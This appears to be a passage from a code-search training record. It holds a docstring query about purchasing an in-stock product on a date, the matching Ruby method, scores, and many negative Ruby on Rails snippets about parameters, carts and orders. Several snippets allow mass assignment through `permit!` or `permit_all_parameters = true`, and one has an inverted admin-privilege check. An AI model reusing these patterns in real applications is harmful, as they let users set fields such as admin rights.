:tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981269", "0.6783559", "0.6746007", "0.67423046", "0.6735905", "0.6593568", "0.6504213", "0.649792", "0.6482664", "0.6478558", "0.64566684", "0.64392304", "0.6380194", "0.6376366", "0.636562", "0.63208145", "0.63006365", "0.63001287", "0.6292953", "0.62927175", "0.62911004", "0.6290563", "0.6284484", "0.62436926", "0.6239928", "0.62184125", "0.62158304", "0.6210187", "0.6194002", "0.61786795", "0.61759156", "0.617342", "0.6162248", "0.61528504", "0.61527", "0.6146735", "0.6122714", "0.61169004", "0.61082125", "0.61052656", "0.6091036", "0.60807735", "0.6070328", "0.60634184", "0.60213035", "0.6017676", "0.6013606", "0.601112", "0.6007318", "0.6007318", "0.6001461", "0.6001135", "0.59966296", "0.5992013", "0.59919006", "0.599182", "0.5980991", "0.59676576", "0.5960269", "0.59588194", "0.59585214", "0.59578323", "0.5953503", "0.5952524", "0.59432703", "0.5939858", "0.59388995", "0.59388995", "0.5933866", "0.5930038", "0.5925672", "0.5924214", "0.59169805", "0.59106255", "0.5910254", "0.59086037", "0.5906149", "0.5898294", "0.58981514", "0.5896171", "0.58944154", "0.58943397", "0.5892325", "0.5887239", "0.58842856", "0.5880209", "0.5874584", "0.58694917", "0.5868719", "0.58669394", "0.5866552", "0.58662945", "0.5864085", "0.58623236", "0.5862258", "0.58597904", "0.58579135", "0.58542645", "0.5853335", "0.58517563", "0.5850614" ]
0.0
-1
Allows for purchasing a product. Creates a new transaction with the proper data if the product is in stock. Takes a product and a date argument. The date can be passed as string "20160525" or as a date value type. The date defaults to today's date.
def purchase(product, date = Date.today) date = date.is_a?(String) ? Date.parse(date) : date if product.in_stock? Transaction.new(self, product, date) else raise OutOfStockError, "'#{product.title}' is out of stock." end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def purchase(product)\n \t\tif product.in_stock?\n \t\t\tTransaction.new(self, product)\n \t\telse\n \t\t\traise OutOfStockError, \"#{product.title} is out of stock\"\n \t\tend\n \tend", "def create_cart_product_for_new_product(product)\n cp = cart_products.create\n cp.product = product\n cp.quantity = 1\n cp.price = product.best_price\n cp\n end", "def initialize(customer, product)\n\t\tif product.in_stock?\n\t\t\t@@count = @@count + 1\n\t\t\t@id = @@count\n\t\t\t@product = product\n\t\t\t@customer = customer\n\t\t\tproduct.reduce_stock\n\t\t\t@@transactions << self\n\t\telse\n\t\t\traise OutOfStockError.new, \"#{product.title} is out of stock.\"\n\t\tend\n\tend", "def add_transaction\r\n\r\n if(@type == :purchase)\r\n if(@product.stock == 0)\r\n begin\r\n raise OutOfStockError, \"OutOfStockError: '#{@product.title}' is out of stock\"\r\n rescue => error\r\n puts error\r\n end\r\n\r\n else\r\n modifiy_transactions\r\n edit_stock({new_purchase: true })\r\n @customer.transactions << self\r\n\r\n end\r\n else\r\n modifiy_transactions\r\n edit_stock({return_purchase: true})\r\n\r\n end\r\n end", "def create(product)\n validate_type!(product)\n\n attributes = sanitize(product)\n _, _, root = @client.post(\"/products\", attributes)\n\n Product.new(root[:data])\n end", "def buying_a_product\n\t\t# Deleting all data from the database\n\t\tLineItem.delete_all\n\t\tOrder.delete_all\n\n\t\truby_book = products(:ruby)\n\n\t\t# A user goes to the store index page\n\t\tget \"/\"\n\t\tassert_response :success\n\t\tassert_template \"index\"\n\n\t\t# They select a product, adding it to their cart\n\t\txml_http_request :post, '/line_items', product_id: ruby_book.id\n\t\tassert_response :success\n\n\t\tcart = Cart.find(session[:cart_id])\n\t\tassert_equal 1, cart.line_items.size\n\t\tassert_equal ruby_book, cart.line_items[0].product\n\n\t\t# Check out\n\t\tget \"/orders/new\"\n\t\tassert_response :success\n\t\tassert_template \"new\"\n\n\t\t# Place Order\n\t\tpost_via_redirect \"/orders\", order: { name: \"Dave Thomas\", address: \"123 The Street\", email: \"dave@example.com\", payment_type_id:\"2\" }\n\t\tassert_response :success\n\t\tassert_template \"index\"\n\t\tcart = Cart.find(session[:cart_id])\n\t\tassert_equal 0, cart.line_items.size\n\n\t\t# Check the Databse is correct\n\t\torders = Order.all\n\t\tassert_equal 1, orders.size\n\t\torder = orders[0]\n\n\t\tassert_equal \"Dave Thomas\", order.name\n\t\tassert_equal \"123 The Street\", order.address\n\t\tassert_equal \"dave@example.com\", order.email\n\t\tassert_equal 2, order.payment_type_id\n\n\t\tassert_equal 1, order.line_items.size\n\t\tline_item = order.line_items[0]\n\t\tassert_equal ruby_book, line_item.product\n\n\t\t# Checking the email is correct\n\t\tmail = ActionMailer::Base.deliveries.last\n\t\tassert_equal [\"dave@example.com\"], mail.to\n\t\tassert_equal 'Sam Ruby <depot@example.com>', mail[:from].value\n\t\tassert_equal 'Pragmatic Store Order Confirmation', mail.subject\n\tend", "def create\n product = Product.new(\n name: params[:name],\n pricesell: params[:pricesell],\n pricebuy: params[:pricebuy],\n stockvolume: params[:stockvolume],\n reference: params[:reference],\n category: Category.find(params[:category]),\n stockcurrent: current_user.company.stockcurrent\n )\n if Product.find_by(name: params[:name], category: Category.find(params[:category])) == nil\n product.save\n flash[:success] = \"The new product #{params[:name]} was added to your stock\"\n current_user.company.stockcurrent.update(units: current_user.company.stockcurrent.units + params[:stockvolume].to_i)\n else\n Product.find_by(name: params[:name]).update(stockvolume: Product.find_by(name: params[:name]).stockvolume + params[:stockvolume].to_i)\n flash[:success] = \"The quantity of #{params[:name]} was succesfully updated\"\n current_user.company.stockcurrent.update(units: current_user.company.stockcurrent.units + params[:stockvolume].to_i)\n end\n redirect_to products_path\n end", "def add_product(p)\n \n raise \"This Flyer is readonly!\" if @readonly\n \n @now = now_with_offset\n \n # We compare the datetime the product was created with the current datetime\n # so that if we can use this object in other places (for example when converting from a csv file to JerkStore). It ensures that only products from a given datetime will appear in this flyer.\n tmp_now = p.datesummarized\n val_now = 0\n val_then = 0\n if (\"day\".eql?(self.timespan))\n val_now = @now.yday\n val_then = tmp_now.yday\n elsif (\"week\".eql?(self.timespan))\n val_now = @now.cweek\n val_then = tmp_now.cweek\n elsif (\"month\".eql?(self.timespan))\n val_now = @now.mon\n val_then = tmp_now.mon\n end\n \n #STDERR.puts \"Comparing #{val_now} to #{val_then} for #{ self.timespan }\"\n \n if (val_now == val_then)\n self.products.unshift(p) \n else\n nil\n end\n \n p\n end", "def create_product(prod)\n\n purchase_price = BigDecimal.new(\"0.0\")\n purchase_price = BigDecimal.new(prod['purchase_price'].to_s) unless prod['purchase_price'].nil?\n sales_price = nil\n sales_price = BigDecimal.new(prod['sales_price']) unless prod['sales_price'].nil?\n weight = 0\n weight = prod['weight'].to_f unless prod['weight'].nil?\n manufacturer_product_code = prod['manufacturer_product_code']\n stock = prod['stock'].to_i unless prod['stock'].nil?\n\n tax_percentage = prod['tax_percentage'] || 8.0\n tax_class = TaxClass.where(:percentage => tax_percentage).first unless tax_percentage.nil?\n if tax_class.nil?\n tax_class = TaxClass.create(:percentage => 8.0, :name => \"8.0\")\n end\n\n prod['description'].blank? ? description = \"No description\" : description = prod['description']\n \n is_featured = false\n is_featured = true if [\"yes\", \"true\", \"1\"].include?(prod['featured'])\n is_visible = true\n is_visible = false if [\"no\", \"false\", \"0\"].include?(prod['visible'])\n is_build_to_order = false\n is_build_to_order = true if [\"yes\", \"true\", \"1\"].include?(prod['build_to_order'])\n \n supplier = Supplier.find_by_name(prod['supplier'])\n\n product = Product.where(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier_id => supplier,\n :tax_class_id => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock).first\n if product.nil?\n product = Product.create(:name => prod['name'],\n :description => description,\n :weight => weight,\n :sales_price => sales_price,\n :supplier => supplier,\n :tax_class => tax_class,\n :purchase_price => purchase_price,\n :manufacturer_product_code => manufacturer_product_code,\n :is_featured => is_featured,\n :is_visible => is_visible,\n :is_build_to_order => is_build_to_order,\n :stock => stock)\n end\n if prod['category']\n category = Category.where(:name => prod['category']).first\n category = Category.create(:name => prod['category']) if category.nil?\n product.categories << category\n product.save\n end\n\n\n # Ugly, but at least it makes test authors know what went wrong\n if product.errors.empty?\n return product\n else\n puts \"Errors creating product: #{product.errors.full_messages}\"\n return false\n end\nend", "def create\n # Comentario: Se iguala el campo stock al de initial_stock\n @product = Product.new(product_params.merge(stock: product_params[:initial_stock]))\n if @product.save\n flash[:notice] = \"Producto creado con รฉxito\"\n redirect_to @product\n else\n flash[:errors] = @product.errors.full_messages\n render :new\n end\n end", "def create\n @product = Product.new(params[:product])\n #@product = Product.create(vendor_id: @vendor.id)\n #@vendor = Vendor.all\n #@product = @vendor.products.create(product_date :Time.now, vendor_id: @vendor.id)\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Product was successfully created.' }\n format.json { render json: @product, status: :created, location: @product }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def product_create\n\t\tvalues = task_params\n\t\tif !params[:customer_name].blank?\n\t\t\tcustomer = Customer.create(:customer_name => params[:customer_name])\n\t\t\tvalues[:customer_id] = customer.id\n\t\tend\n\t\tif !params[:category_name].blank?\n\t\t\tcategory = Category.create(:category_name => params[:category_name])\n\t\t\tvalues[:category_id] = category.id\n\t\tend\n\t\t@task_data = Product.new(values)\n \t\t@task_data.save\n \t\tredirect_to product_index_path\n\tend", "def do_purchase\n user.purchases.create!(\n amount_in_cents: purchase_amount,\n employee_id: purchase_params.dig(:employee_id),\n qty: purchase_params.dig(:qty).to_i,\n venue_id: purchase_params.dig(:venue_id),\n tap_id: purchase_params.dig(:tap_id),\n description: purchase_params.dig(:description)\n )\n end", "def purchase_one\n product = Product.find(params[:id])\n company = Company.first\n if product[:inventory_count] > 0\n if product.decrement!(:inventory_count)\n total = company[:money] + product[:price]\n\n company.update_!(money: total)\n render json: {\n status: :ok,\n message: 'Successfully bought'\n }.to_json\n else\n render json: {\n status: :internal_server_error,\n message: 'Error purchasing product'\n }\n end\n else\n render json: {\n status: :ok,\n message: 'Item is no longer available'\n } \n end\n end", "def create\n product = Product.find(params[:product_id])\n qty = (params[:qty] || '1').to_i\n @line_item = @cart.add_product(product, qty)\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to cart_url,\n notice: \"#{product.title} wurde in Deinen Warenkorb gelegt.\" }\n else\n format.html { render action: 'new' }\n end\n end\n end", "def buy(params)\n params[:side] = 'buy'\n params[:product_id] = id\n\n Order.create(params)\n end", "def add_new_product\n aProduct = Product.new(@product_title, @product_price, @customer_id)\n aProduct.create_new_product\n end", "def purchase\n response = GATEWAY.purchase(price_in_cents, credit_card, purchase_options)\n transactions.create!(:action => \"purchase\", :amount => price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end", "def add_purchase(customer_id, product_id)\n item = DirectedEdge::Item.new(@database, \"customer#{customer_id}\")\n item.link_to(\"product#{product_id}\")\n item.save\n end", "def create \n\n\t\t\t\n\n\t\t\tproduct_id = params [:product_id]\n\n\t\t\tproduct = Product.find_by(id: product_id)\n\n\t\t\tquantity = params[:quantity]\n\n\n\t\t\tcarted_products = CartedProduct.create(\n\n\t\t\t:user_id current_user.id,\n\n\t\t\t:product_id params[:product_id],\n\n\t\t\t:quantity params [:quantity],\n\t\t\t:status \"carted\"\n\n\t\t\t\n\t\t\t)\n\t\t\tflash [:success] = \"Product added to cart\"\n\t\t\tredirect_to \"/\"\n\n\t\tend", "def create\n unless logged_in?\n session[:checking_out] = true\n redirect_to login_path, notice: t('orders.must_log_in') # \"You must log in before placing an order.\"\n else\n @order = current_user.orders.new(order_params)\n @order.earliest_pickup_date = calculate_earliest_pickup_date(:create)\n # User could have place product in cart days ago, make sure still available\n okay = true\n index = (session[:shopping_cart].size - 1)\n while (index >= 0)\n element = session[:shopping_cart][index]\n product = Product.find(element[:product_id])\n quantity = element[:quantity]\n if (product.quantity_in_stock == 0)\n okay = false if (okay)\n session[:shopping_cart].delete_at(index)\n # If cart empty as a result of the deletion, redirect user to product index\n redirect_to(products_path, notice: t('orders.not_in_stock')) and return if session[:shopping_cart].empty? # \"The product(s) ordered are no longer in stock; order cannot be placed.\"\n elsif (product.quantity_in_stock < quantity)\n okay = false if (okay)\n # Update quantity in shopping cart based on quantity available\n new_product_hash = { product_id: product.id, quantity: product.quantity_in_stock }\n session[:shopping_cart][index] = new_product_hash\n end\n index -= 1\n end\n redirect_to(new_order_path, notice: t('orders.please_review')) and return if (!okay) # \"One or more of the products you selected is either out of stock or not available in the desired quantity. Please review the updated order and resubmit if okay.\"\n # Proceed to save order\n respond_to do |format|\n if @order.save\n @order.update_attributes(order_date: Date.today, order_status_id: 1) # set order date to today, status to New\n session[:shopping_cart].each do |element| # create an order_product record for each product in the shopping cart and update quantity in stock of products\n product = Product.find(element[:product_id])\n quantity = element[:quantity]\n @order.order_products.create(product_id: product.id, quantity: quantity)\n new_quantity_in_stock = (product.quantity_in_stock - quantity)\n product.update_attributes(quantity_in_stock: new_quantity_in_stock)\n end\n session[:shopping_cart].clear\n format.html { redirect_to root_path, notice: t('orders.create') } # \"Your order was successfully submitted!\"\n format.json { render action: 'index', status: :created, location: @order }\n else\n format.html { render action: 'new' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create\n @basket = Basket.new(user_id: current_user.id, product_id: params[:product_id])\n @basket.save\n\n redirect_to root_url\n end", "def create\n @order_info = Purchase.new(purchase_params)\n \n unless @order_info.ordertype == 'cart'\n @purchase = @order_info\n set_rest\n respond_to do |format|\n if @purchase.save\n\n \n title = \"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ(#{@purchase.product.name})์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค \"\n message = \"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ#{@purchase.product.name}์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค \" + \"<a href ='/sell_list'>๋ณด๋Ÿฌ๊ฐ€๊ธฐ</a> \"\n Pusher.trigger(\"mychannel-#{@purchase.product.user.id}\", 'my-event', {:type => \"new_purchase\", :title=>title , :message => message, :url => current_user.gravatar_url } )\n @purchase.product.user.notify(\"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ(#{@purchase.product.name})์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค\", \"/sell_list\" )\n product = @purchase.product\n product.update_attributes(quantity: product.quantity - 1 , sell_count: product.sell_count + 1)\n # format.html { redirect_to @purchase, notice: 'Purchase was successfully created.' }\n format.html { redirect_to order_ok_path(type: 'goods', id:@purchase.id)}\n format.json { render :show, status: :created, location: @purchase }\n else\n format.html { render :new }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n else\n @cart_items = current_user.cart.cart_items\n order_info = Purchase.new(purchase_params)\n @cart_items.each do |cart_item|\n @product = cart_item.product\n @purchase = @product.purchases.new(user_id: current_user.id, total_cost: cart_item.quantity * cart_item.price)\n @purchase.receive_name = order_info.receive_name\n @purchase.addr = order_info.addr\n @purchase.phone = order_info.phone\n @purchase.memo = order_info.memo\n @purchase.ordertype = 'cart'\n @purchase.quantity = cart_item.quantity\n @purchase.option = cart_item.option\n @purchase.detail = cart_item.detail\n set_rest\n if @purchase.save\n title = \"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ(#{@purchase.product.name})์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค \"\n message = \"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ#{@purchase.product.name}์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค \" + \"<a href ='/sell_list'>๋ณด๋Ÿฌ๊ฐ€๊ธฐ</a> \"\n Pusher.trigger(\"mychannel-#{@purchase.product.user.id}\", 'my-event', {:type => \"new_purchase\", :title=>title , :message => message, :url => current_user.gravatar_url } )\n @purchase.product.user.notify(\"#{current_user.name}๋‹˜์ด ์ƒํ’ˆ(#{@purchase.product.name})์„ ๊ตฌ๋งคํ•˜์˜€์Šต๋‹ˆ๋‹ค\", \"/sell_list\" )\n @product.update_attributes(quantity: @product.quantity - 1 , sell_count: @product.sell_count + @purchase.quantity)\n end\n end\n \n redirect_to order_ok_path(type: 'cart')\n end\n\n\n end", "def initialize(customer_obj, product_obj)\n\t\t@customer = customer_obj\n\t\t@product = product_obj\n\t\t@id = @@id\n\t\t@@id += 1\n\t\t@product.stock -= 1\n\t\t@date = Time.now\n\t\tadd_transaction\n\tend", "def create\n @cart = current_cart\n product = Product.find(params[:product_id])\n\n if product.quantity > 0 \n @line_item = @cart.add_product(product.id)\n product.update_attributes(:quantity => product.quantity - 1)\n end\n\n respond_to do |format|\n if @line_item\n if @line_item.save\n format.html { redirect_to store_url}\n format.js { @current_item = @line_item}\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n else\n format.html {redirect_to store_url, :notice => 'Sorry! Looks like that product is out of stock'}\n end\n end\n end", "def create\n @page_title = \"Sell your product\"\n @product = Product.new(params[:product])\n @product.user = current_user\n\n if @product.valid?\n @product.force_save\n return product_success\n else\n flash[:error_stay] = @product.errors.full_messages\n @product.force_save\n redirect_to edit_product_path(@product)\n end\n end", "def create_purchase_log_entry\n PurchaseLog.create!({\n ethereum_address: @ethereum_address,\n ether_wei_value: @ether_wei_value,\n usd_value: @usd_value,\n st_wei_value: @st_wei_value,\n block_creation_timestamp: @block_creation_timestamp,\n pst_day_start_timestamp: get_pst_rounded_purchase_date,\n transaction_hash: @contract_event_obj.transaction_hash\n })\n end", "def insert_product(product_id:, name:, description:, price:, original_price:,\n number_of_installments:, installments_full_price:, image_url:,\n available_quantity:, store_id:)\n productAux = Product.new(\n product_id: product_id,\n name: name,\n description: description,\n price: price,\n original_price: original_price,\n number_of_installments: number_of_installments,\n installments_full_price: installments_full_price,\n image_url: image_url,\n available_quantity: available_quantity,\n store_id: store_id\n )\n\n if productAux.save\n puts \"O produto #{productAux[:name]} foi adicionado com sucesso\"\n else\n puts productAux.errors.full_messages\n end\n end", "def create\n # Grabs product_id from hidden form field.\n product_id = params[:product_id].keys[0].to_i\n @order = Order.new(user_id: current_user.id, product_id: product_id, quantity: params[:order][:quantity])\n\n if product_uniqueness(@order)\n if @order.save\n redirect_to root_path\n else\n flash[:danger] = @order.errors.full_messages\n redirect_to \"/products/#{product_id}\"\n end\n else\n flash[:danger] = [\"You already have this item in your cart! Please update the quantity there.\"]\n redirect_to \"/products/#{product_id}\"\n end\n end", "def purchase_param\r\n params.require(:purchase).permit(:item_id, :quantity, :date)\r\n end", "def create\n product_id = shopping_cart_params[:product_id]\n\n # ensure the product is not added to the cart twice\n return if session[:shopping_cart][product_id].present?\n\n session[:shopping_cart][product_id] = {\n quantity: shopping_cart_params[:quantity],\n size: shopping_cart_params[:size]\n }\n\n @product = Product.find(product_id.to_i)\n end", "def save_product!\n product = nil\n if product_id.blank?\n product = Inventory::Product.new\n product.name = name\n product.sku = sku\n product.catalogue_id = catalogue_id\n product.facility_strain_id = facility_strain_id\n product.facility_id = facility_id\n product.transaction_limit = transaction_limit\n product.status = 'available'\n product.save!\n else\n product = Inventory::Product.find(product_id)\n end\n\n product\n end", "def add_product(product_params)\n\n\t\tcurrent_item = wish_items.find_by(variant_id: product_params[:product][:variant_id])\n\n\t\tif current_item\n\t\t\tcurrent_item.destroy\n\t\telse\n\t\t\tnew_item = wish_items.create(product_id: product_params[:product][:product_id],variant_id: product_params[:product][:variant_id], wish_id: self.id)\n\t\tend\n\t\t\n\t\tnew_item\n\tend", "def call(_obj, args, _ctx)\n product = Product.find_by(id: args[:product_id])\n if product.inventory_count == 0\n raise GraphQL::ExecutionError, \"Product with the ID: #{args[:product_id]} is out of inventory and unavailable.\"\n else\n product.inventory_count -= 1\n product.sold_count += 1\n product.save\n end\n Product.find_by(id: args[:product_id])\n end", "def new_product(product_code, name, price, condition = 'false', price_formula_true = 'product_price * _amount', price_formula_false = 'product_price * _amount')\n @product_list[product_code] = Product.new(name, price, condition, price_formula_true, price_formula_false)\n end", "def create\n if (product = Product.find_by(id: params[:product])).nil?\n render json: { message: \"Invaild product_id\" }, status: :bad_request\n else\n cart = Cart.find_or_create_by(user: current_user)\n cart.products << product\n render json: { message: \"Item added to cart\" }\n end\n end", "def create\n @cart = current_cart\n product = Product.find_by_id(params[:product_id])\n\n if product.nil?\n flash[:alert] = \"Product not found.\"\n redirect_to orders_path\n return\n end\n\n if not params[:qnt].present?\n flash[:alert] = \"Quantity cannot be empty.\"\n redirect_to orders_path\n return\n end\n\n if product.remaining_quantity < params[:qnt].to_i\n flash[:alert] = \"Quantity not avalable.\"\n redirect_to orders_path\n return\n end\n\n if params[:qnt].to_i <= 0\n flash[:alert] = \"Quantity should be greater than 0.\"\n redirect_to orders_path\n return\n end\n\n @line_item = @cart.add_product(product.id, params[:qnt])\n product.update_attributes(:remaining_quantity => (product.remaining_quantity - params[:qnt].to_i))\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to orders_path }\n format.js {@current_item = @line_item}\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end", "def purchase\n begin\n ActiveRecord::Base.transaction do\n @user.coin_credit -= @product.price\n requested_detail = @product.details.available.first\n requested_detail.available = false # makes the detail unavailable\n requested_detail.save!\n @user.save!\n @user.purchased_details << requested_detail # adds the detail to purchased_details of the user\n @purchased_detail = requested_detail\n end\n true\n rescue => e\n Rails.logger.error e\n @user.reload\n @user.errors.add(:base, :purchase_problem)\n false\n end\n end", "def purchased?(product)\n purchase_items.exists?(product_id: product.id)\n end", "def purchase(total)\n @price_in_cents = total\n response = process_purchase\n transactions.create!(:action => \"purchase\", :amount =>@price_in_cents, :response => response)\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n response.success?\n end", "def create\n @purchase = Purchase.new(\n date: purchase_params[:date],\n brand: purchase_params[:brand],\n by_cup: purchase_params[:by_cup],\n fair_trade: purchase_params[:fair_trade],\n price: purchase_params[:price],\n rating: purchase_params[:rating],\n # check who the currently logged in user is\n user_id: get_current_user.id)\n\n if @purchase.save\n render json: {status: 201, purchase: @purchase}\n else\n puts @purchase.error\n render json: {status: 422, message: 'Unprocessable Entity'}\n end\n end", "def create\n @product = Product.new(product_params)\n @product.user = current_user\n\n if @product.save\n redirect_to admin_products_path, notice: 'Product was successfully created.'\n else\n render admin_products_path, alert: \"Product not created\"\n end\n rescue StandardError => e\n Airbrake.notify(e)\n end", "def create\n @product = Product.new(product_params)\n product_type = params[:product][:product_type]\n if product_type\n url = product_type.to_s == 'balo' ? balo_products_path : purge_products_path\n else\n url = products_path\n end\n\n if @product.save\n flash[:notice] = \"Created\"\n if params[:commit] == \"Add and Continue\"\n redirect_back(fallback_location: root_path, product_type: params[:product][:product_type])\n else\n redirect_to url\n end\n else\n render :new\n end\n end", "def create\n if current_user\n @carted_products = CartedProduct.where(status: \"Carted\", user_id: current_user.id)\n\n @subtotal = 0\n @tax = 0\n @total = 0\n @carted_products.each do |carted_product|\n @subtotal += carted_product.product.price * carted_product.quantity\n end\n \n @tax = @subtotal * SALES_TAX\n @total = @subtotal + @tax\n\n # quantity = carted_products.quantity\n # price = Product.find_by(id: params[:product_id]).price\n # subtotal = quantity * price\n # tax = subtotal * 0.09\n # total = subtotal + tax\n\n order = Order.create(user_id: current_user.id, subtotal: @subtotal, tax: @tax, total_price: @total) \n\n @carted_products.each do |carted_product|\n carted_product.update(status: \"Purchased\", order_id: order.id)\n end\n\n end\n redirect_to \"/orders/#{order.id}\"\n end", "def consume(accountNo, pin, product)\n \n account = find(accountNo, pin)\n \n raise Exceptions::BruteForce if account.attempts_today > 9\n raise Exceptions::BadCredentials unless account.pin == pin\n \n coupon = product_in_stock?(product)\n \n raise Exceptions::OutOfStock unless coupon\n \n begin\n Coupon.transaction(coupon, account) do\n coupon.account = account\n raise Exceptions::TransactionFailed if coupon.used != 'N'\n coupon.used = 'Y'\n coupon.used_on = Time.now\n account.balance -= coupon.price\n raise Exceptions::TransactionFailed if account.balance < 0\n coupon.save!\n account.save!\n end\n rescue Exceptions::TransactionFailed\n coupon.voucher = nil\n raise Exceptions::VoucherAlreadyUsed if coupon.used != 'N'\n raise Exceptions::InsufficientBalance if (account.balance - coupon.price) < 0 \n raise Exceptions::TransactionFailed # reraise exception\n end\n \n return coupon.voucher\n \n end", "def add_product(product, quantity)\n current_item = OrderItem.find_by(product_id: product.id, order_id: self.id )\n\n if current_item\n current_item.quantity = quantity\n current_item.save\n else\n new_item = OrderItem.new(product_id: product.id, quantity: quantity, order_id: self.id)\n new_item.save\n end\n end", "def create\n @product = Product.new(product_params)\n @product.provider = current_user.provider\n respond_to do |format|\n if @product.save\n\tformat.html { redirect_to @product, notice: 'ๆ‚จๅทฒๆˆๅŠŸๆไบคๅ•†ๅ“๏ผŒๆˆ‘ไปฌไผšๅœจ1~2ไธชๅทฅไฝœๆ—ฅๅ—็†ๆ‚จ็š„็”ณ่ฏท๏ผŒ่ฏท่€ๅฟƒ็ญ‰ๅพ…๏ผŒๅฆ‚ๆœ‰้—ฎ้ข˜่ฏท่”็ณปๅฎขๆœ0757-82581702ใ€‚' }\n\tformat.json { render :show, status: :created, location: @product }\n else\n\tformat.html { render :new }\n\tformat.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def create \n\t\tcarted_products = current _user.\n\t\tcarted_products.where(status: \"carted\")\n\n\t\tcarted_products.each do |carted_products|\n\t\t\tsum += (carted_product.product.product.price\n\t\t\t* carted_product.quantity)\n\t\tend \n\n\t\ttax =subtotal * 0.09\n\t\ttotal = subtotal + tax \n\n\t\torder = Order.create(user_id: current_user_id ,subtotal: subtotal, tax: tax,\n\t\t\ttotal: total)\n\n\t\tcarted_products.update_all (status: \"purchased\",order_id:\"order_id\")\n\n\t\tflash [success:] = 